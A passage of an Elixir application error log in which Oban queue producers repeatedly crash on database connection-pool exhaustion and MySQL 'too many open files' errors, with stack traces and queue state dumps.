    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:49:37.238666Z], limit: 10, uuid: "97b74dc3-73b2-4ab4-8ddf-9bcc50c01198", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.238673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245611>, refresh_timer: #Reference<0.2525715032.1068236804.237319>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:49:37.240720Z], limit: 5, uuid: "e95366b8-7726-4925-a6de-4705a82064f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.240726Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.219799>, refresh_timer: #Reference<0.2525715032.1077411843.219798>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:49:37.240034Z], limit: 20, uuid: "41113268-d738-4703-ae21-6d2eeb513bbb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.240039Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245610>, refresh_timer: #Reference<0.2525715032.1068236804.237354>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:49:37.240437Z], limit: 50, uuid: "aa494f41-b15f-4a4c-8ec6-06d86027d5bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.240442Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245612>, refresh_timer: #Reference<0.2525715032.1121189889.95817>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:49:37.240403Z], limit: 5, uuid: "9aabbd81-40ff-4c47-b9a7-fb9de1715ac7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.240409Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245608>, refresh_timer: #Reference<0.2525715032.1099169794.245586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:49:37.239708Z], limit: 3, uuid: "f492981b-6848-41ab-8485-46b5b893e9b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:37.239713Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245609>, refresh_timer: #Reference<0.2525715032.1099169794.245569>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:52.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:52.832000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:00.098000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:00.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:00.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:49:50.239513Z], limit: 5, uuid: "8f488e2c-72b0-4f1a-b5d1-582040c6b190", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245919>, refresh_timer: #Reference<0.2525715032.1077411843.220036>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:49:50.239495Z], limit: 5, uuid: "cff3cf93-5ac4-4ab8-bc3d-80e5e6ff2a3e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.239501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245915>, refresh_timer: #Reference<0.2525715032.1099169794.245898>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:49:50.239543Z], limit: 50, uuid: "d3b58f24-8b7e-47ec-8827-b4d4f3c99183", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:50.239549Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245916>, refresh_timer: #Reference<0.2525715032.1099169794.245901>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
